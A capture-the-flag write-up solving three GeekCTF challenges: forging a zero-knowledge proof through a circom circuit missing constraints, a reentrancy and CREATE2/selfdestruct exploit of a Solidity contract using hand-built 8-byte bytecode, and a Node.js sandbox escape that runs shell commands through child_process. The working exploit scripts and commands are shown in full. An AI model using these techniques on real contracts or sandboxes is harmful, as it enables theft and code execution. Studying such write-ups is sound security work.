/blog
2024-04-14

Geekctf - Geekcon writeup: lacking zk constraints & 8 bytes eval contract

I spent some time this week solving three Geekctf challenges and got 26th place. Interesting challenge thanks to the authors from 0ops@SJTU.

zh-CN wp (draft)

ZkMaze

There is even a ZK chall

public_inputs can be found in./out/chall.sol directly

just draw it and see the maze

_import_ matplotlib.pyplot _as_ plt
_import_ numpy _as_ np

_with_ open("./out/chall.sol", "rt") _as_ f:
    public_inputs = f.readlines()[18][44:271].split("), uint(")
    public_inputs = [int(public_inputs[i]) _for_ i _in_ range(len(public_inputs))]
print(public_inputs)

_# Traverse in reverse order using the origin as the starting point_
maze = [public_inputs[i:i+5] _for_ i _in_ range(21, -1, -5)]

print(maze)

maze = np.array(maze)

fig, ax = plt.subplots()
ax.imshow(maze, _cmap_="binary")

ax.set_xticks([])
ax.set_yticks([])

plt.show()

Starting point 0 is lower left, goal 24 is in the upper right corner. It is impossible to walk normally

You can use snarkyjs to read constraints, but it’s still more intuitive to read circom first~

snarkjs r1cs print .\out\maze.r1cs .\out\maze.sym

Just a short audit could found that it seems that this paragraph < -- lacks the necessary constraints.(If you know about circom before)

template checkInMaze(_n_) {
    signal input pos_x;
    signal input pos_y;
    signal output out;
    signal tmp_x;
    signal tmp_y;
    tmp_x <-- pos_x >= 0 && pos_x < n;
    tmp_x * (tmp_x - 1) === 0;    
    tmp_y <-- pos_y >= 0 && pos_y < n;
    tmp_y * (tmp_y - 1) === 0;
    out <== tmp_x * tmp_y;
}

Modify the tmp_x and tmp_y witness to go around the maze directly. The writing of CheckNotBarrier is also satisfied.

First, generate a wtns where the tmp_x and tmp_y are always 1

Locate the binary position of the witness and modify the reference https://www.rareskills.io/post/underconstrained-circom

However, this question is a bit too restrictive…

Directly modify tmp_x < -- pos_x > = 0 & & pos_x < n; to tmp_x < -- 1 ,

PS C:\Users\xxxxx\ZkMaze> snarkjs r1cs print .\out\maze.r1cs .\out\maze.sym >> .\out\constraints.out
PS C:\Users\xxxxx\ZkMaze> certutil -hashfile .\out\constraints.out
SHA1 的 .\out\constraints.out 哈希:
ad080ba683ef5ea32328f277366465a389adb87c
CertUtil: -hashfile 命令成功完成。

Verified that there is no change in contraints. Then directly generate according to the modified circom compile, and then generate witness.

node generate_witness.js maze.wasm input.json witness.wtns

Found that going around from the top left will hit the wall in the lower right corner. Because 1 * 5 + (-1) == 4

{
    "answer":[0, 3, 3, 3, 3, 3, 1, 1, 1, 1, 1, 2, 6, 6, 6],
    "goal": 24,
    "maze": [0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0]
}

Don’t want to write code… anyway, the numbers are small, just draw by hand could found 5 *5 - 1 == 24 would be a solution.

As shown in the picture, you should go directly to the upper left

{
    "answer":[3, 3, 0, 3, 3, 3, 6, 6, 6, 6, 6, 6, 6, 6, 6],
    "goal": 24,
    "maze": [0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0]
}

The rest is interaction https://docs.circom.io/getting-started/proving-circuits/#verifying-from-a-smart-contract

snarkjs generatecall

You can also repeat the steps of https://docs.circom.io/getting-started/proving-circuits/ and type the generated proof.json by hand

["0x02afe3b6af05f5f6322bc9ad5a883bb04074843087ec0358627413e5f168838d", "0x13e141ab596af7e38b6fb17a5b2f16e899d9fa8cf05e504d42322999f410924d"],[["0x0828a2daaf75f4160abcdb92a458d7db3ab1db83d98bed5ad5964091f3a73758", "0x1a6b94a64c03ed6b2668e4fbd3243824ef64c95052460ab84479f2884af3604f"],["0x0035455651cf9dd0d29bc8184609a5cef8171c5434169cf98c8d18520582acf3", "0x015c09d506fcd7fd20dd82fffa2f3c78f6f95fa2c22234eab265c60f2f4c68c1"]],["0x181285ceff213dc0d955aea8282f53f076cd3c9651d833b2b0bbb5ded7a4ca49", "0x178d85a5599cc5b6aa74da0bcf829065d2c23f042ee955fe22a4207b66e70856"],["0x0000000000000000000000000000000000000000000000000000000000000018","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000000"]

pragma solidity 0.8.20;


import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

import "../src/chall.sol";

contract solve is Script {

    function run () public payable {

        vm.startBroadcast();

        Challenge c = Challenge(0xdE658b81E3121a6ba399d9Bc7bc460A2e0Be231f);

        uint[2] memory _pA = [
                0x02afe3b6af05f5f6322bc9ad5a883bb04074843087ec0358627413e5f168838d,
                0x13e141ab596af7e38b6fb17a5b2f16e899d9fa8cf05e504d42322999f410924d
        ];
        uint[2][2] memory _pB = [
                [
                        0x0828a2daaf75f4160abcdb92a458d7db3ab1db83d98bed5ad5964091f3a73758,
                        0x1a6b94a64c03ed6b2668e4fbd3243824ef64c95052460ab84479f2884af3604f
                ],
                [
                        0x0035455651cf9dd0d29bc8184609a5cef8171c5434169cf98c8d18520582acf3,
                        0x015c09d506fcd7fd20dd82fffa2f3c78f6f95fa2c22234eab265c60f2f4c68c1
                ]
        ];
        uint[2] memory _pC = [
                0x181285ceff213dc0d955aea8282f53f076cd3c9651d833b2b0bbb5ded7a4ca49,
                0x178d85a5599cc5b6aa74da0bcf829065d2c23f042ee955fe22a4207b66e70856
        ];

        c.verifyProof(_pA, _pB, _pC);
        console.log(c.isSolved());

    }

}

forge script solve --broadcast --rpc-url http://43.156.79.241:40545/ZUlLbCLSlLnlMQgBMEDKPBJo/geekcon --private-key 0x72da9f39e0a4c554024d7b44f864799e15f17dfff784a1a9e0c3d3995a439a50

The network is a bit slow,

cast call 0xdE658b81E3121a6ba399d9Bc7bc460A2e0Be231f --rpc-url http://43.156.79.241:40545/ZUlLbCLSlLnlMQgBMEDKPBJo/geekcon  "isSolved()"
0x0000000000000000000000000000000000000000000000000000000000000001

min-trust

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.13;

contract Challenge {
    mapping (address => uint256) public secret;
    bool public privileged;
    bool public isSolved;

    uint256 constant trustedCodeLength = 0x8;

    error NotEOA();
    error Not1337();
    error NotSuccess();
    error NotTrusted();
    error Privileged();
    error NotPrivileged();

    function vulnerable(address untrusted) public {
        if (untrusted.code.length > trustedCodeLength) revert NotTrusted();
        privileged = true;
        (bool success,) = untrusted.call("");
        if (! success) revert NotSuccess();
        privileged = false;
    }

    function cheat(uint password) public {
        if (! privileged) revert NotPrivileged();
        secret[msg.sender] = password;
    }

    function sendFlag() public {
        if (privileged) revert Privileged();
        if (msg.sender.code.length != 0) revert NotEOA();
        if (secret[msg.sender] != 0x1337) revert Not1337();
        isSolved = true;
    }
}

0X8 How to make an external call… There should be 7 data on the call instruction stack. One instruction pushes only PUSH0

Using CREATE in a newly created contract may be sufficient

It is not suitable to use forge because it cannot handle two deployments at the same address. However, this feature is about to be abandoned

The main problem is how to implement reentrancy proxy in 8 bytes. In order to compress the bytecode as much as possible, we only need to ensure that the runtime code can initiate external calls. The stack depth of 0xF1 CALL and 0xF2 CALLCODE is 7, which can be basically abandoned.

Instead, try 0xF0 CREATE with a stack depth of 3, but first load the bytecode of the new contract in memory

  • Both value and offset can be 0, and 0x5F PUSH0 consumes two bytes;
  • Size requires pushX + operand, consuming two bytes.
  • Processing new contract bytecode requires push storage offset, load storage, push memory offset, mstore, at least four bytes.
  • Add the last CREATE byte.

There are a total of nine, …

Maybe optimize the size handling… like with 0x46 CHAINID or 0x43 NUMBER (can generate garbage transaction control). and then we get the proxy1’s runtimecode.

PUSH0
SLOAD
PUSH0
MSTORE
NUMBER
PUSH0
PUSH0
CREATE

Looking at the proxy in the first layer, the byte constraint of layer 2 will be 32 bytes given by the load storage process. But it should be enough

  • Gas: should be set as large as possible, If a call tries to send more, the gas is changed to match the maximum allowed. PUSH4 0xFFFFFFFF, 5 bytes
  • Address: PUSH20 + address, 21 bytes
  • Value: PUSH0
  • argsOffset: PUSH0
  • argsSize: PUSH0
  • retOffset: PUSH0
  • retSize: PUSH0

Then the last call. Exactly 32Bytes.

Will not returning runtime code cause revert? No

proxy2 initialize code（it wont return any code):

PUSH0
PUSH0
PUSH0
PUSH0
PUSH0
PUSH20 0xBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBE
PUSH4 0xFFFFFFFF
CALL

The second level proxy has a total of 32bytes. Transactions can be sent when testing creation

proxy1 initialize code :

// Put the beginning of the code to the expected value
PUSH32 0x5F5F5F5F5F73BEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBE63FFFFFFFFF1
PUSH0
SSTORE

// copy runtime code to memory
PUSH1 0x08
PUSH1 0x2D
PUSH0 
CODECOPY

// return runtime code
PUSH1 0x08
PUSH0
RETURN

// runtime code
PUSH0
SLOAD
PUSH0
MSTORE
NUMBER
PUSH0
PUSH0
CREATE

I have some problems that cannot be debugged using the web version of Remix. . If you also encounter this, you can consider using the desktop version

Reentrance flow chart:

flaw.drawio

Final solve script and command

// SPDX-License-Identifier: UNLICENSED 
pragma solidity 0.8.20;

import {Script} from "forge-std/Script.sol";

import {console} from "forge-std/console.sol";

contract main {
    
    address public proxy;
    address public _contractA;
    address public _challenge;
    bytes32 public salt = keccak256(abi.encode(uint256(123)));

    constructor () {
        _challenge = address(0xD5Ed7B1be4F1bc62c3790a8E709Cd9D871062062);
    }

    function make_number() external returns (uint n) {
        assembly {
            n := number()
        }
    }

    function deploy_CREATE(bytes memory bytecode) private returns (address a) {
        assembly{
            a := create(
                0,
                add(bytecode, 32),
                mload(bytecode)
            )
        }
    }

    function step_1() public {

        _contractA = address(new contractA{salt: salt}());

        bytes memory bytecode2 = abi.encodePacked(
            hex"5F5F5F5F5F73",
            _contractA,
            hex"63FFFFFFFFF1"
        );

        bytes memory bytecode1 = abi.encodePacked(
            hex"7F",
            bytecode2,
            hex"5F556008602D5F3960085FF35f545f52435f5ff0"
        );

        proxy = deploy_CREATE(bytecode1);

    }

    function step_2() public {
        Challenge(_challenge).vulnerable(address(proxy));
    }

    function step_3() public {
        contractA(_contractA).s();
    }

    function step_4() public {
        _contractA = address(new contractA{salt: salt}());
    }

}


contract contractA {
    // use constructor to set code.length == 0
    address public _challenge;
    event fallback_called();
    constructor() {
        // use low-level call to avoid revert in the first construction
        _challenge = address(0xD5Ed7B1be4F1bc62c3790a8E709Cd9D871062062);
        address(_challenge).call(abi.encodeWithSignature("sendFlag()"));
    }
    function s() external {
        selfdestruct(payable(address(0)));
    }
    fallback() external {
        emit fallback_called();
        Challenge(_challenge).cheat(uint(0x1337));
    }
}


contract Challenge {
    mapping (address => uint256) public secret;
    bool public privileged;
    bool public isSolved;

    uint256 constant trustedCodeLength = 0x8;

    error NotEOA();
    error Not1337();
    error NotSuccess();
    error NotTrusted();
    error Privileged();
    error NotPrivileged();

    function vulnerable(address untrusted) public {
        if (untrusted.code.length > trustedCodeLength) revert NotTrusted();
        privileged = true;
        (bool success,) = untrusted.call("");
        if (! success) revert NotSuccess();
        privileged = false;
    }

    function cheat(uint password) public {
        if (! privileged) revert NotPrivileged();
        secret[msg.sender] = password;
    }

    function sendFlag() public {
        if (privileged) revert Privileged();
        if (msg.sender.code.length != 0) revert NotEOA();
        if (secret[msg.sender] != 0x1337) revert Not1337();
        isSolved = true;
    }
}


contract solve1 is Script {
    function run() public {
        vm.startBroadcast();
        address a = address(new main());
        console.log(a);
    }
}

forge script solve1 --rpc-url http://43.156.79.241:40545/pDGRwGGYtWVxbbJuHFIbeiHp/geekctf --private-key 0xcdd09fc8029af5e6f96620fa13fddab847a27408abc7bfd111c099495ec1a5f7 --broadcast


cast send 0xBF0a32b047184697a2E38a455B6321125611e26B --rpc-url http://43.156.79.241:40545/pDGRwGGYtWVxbbJuHFIbeiHp/geekctf "make_number()" --private-key 0xcdd09fc8029af5e6f96620fa13fddab847a27408abc7bfd111c099495ec1a5f7
cast block-number --rpc-url http://43.156.79.241:40545/pDGRwGGYtWVxbbJuHFIbeiHp/geekctf
# repeat this these two steps until block-number == 30 to make step2() mined on block32 and excuted successfully


cast send 0xBF0a32b047184697a2E38a455B6321125611e26B --rpc-url http://43.156.79.241:40545/pDGRwGGYtWVxbbJuHFIbeiHp/geekctf "step_1()" --private-key 0xcdd09fc8029af5e6f96620fa13fddab847a27408abc7bfd111c099495ec1a5f7
cast send 0xBF0a32b047184697a2E38a455B6321125611e26B --rpc-url http://43.156.79.241:40545/pDGRwGGYtWVxbbJuHFIbeiHp/geekctf "step_2()" --private-key 0xcdd09fc8029af5e6f96620fa13fddab847a27408abc7bfd111c099495ec1a5f7
cast send 0xBF0a32b047184697a2E38a455B6321125611e26B --rpc-url http://43.156.79.241:40545/pDGRwGGYtWVxbbJuHFIbeiHp/geekctf "step_3()" --private-key 0xcdd09fc8029af5e6f96620fa13fddab847a27408abc7bfd111c099495ec1a5f7
cast send 0xBF0a32b047184697a2E38a455B6321125611e26B --rpc-url http://43.156.79.241:40545/pDGRwGGYtWVxbbJuHFIbeiHp/geekctf "step_4()" --private-key 0xcdd09fc8029af5e6f96620fa13fddab847a27408abc7bfd111c099495ec1a5f7

cast call 0xD5Ed7B1be4F1bc62c3790a8E709Cd9D871062062 --rpc-url http://43.156.79.241:40545/pDGRwGGYtWVxbbJuHFIbeiHp/geekctf "isSolved()"

After communicating with the author, I found that this was an unintended solution.

Originally limited to 8 bytes, the data restriction can be bypassed using delegatecall (missing stack data is filled with zeros). To circumvent the EOA check, either the aforementioned suicide method or a fallback contract during reentrancy can be employed. The fallback contract would call the vulnerable function again in its constructor and subsequently trigger the sendFlag function.

escape

Because it is node12, the usage of WebAssembly objects and excutor has not been introduced. I searched for changelog but didn’t see much detail about excutor.

You can find another PoC directly in the issue, which is much more elegant than Xion’s PoC. Ah, when will someone write a detailed analysis?

Too lazy to take the console, write directly in stdout

const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const _process = p.call(a).constructor('return process')();
const res = _process.mainModule.require('child_process').execSync('ls /');
_process.stdout.write(res);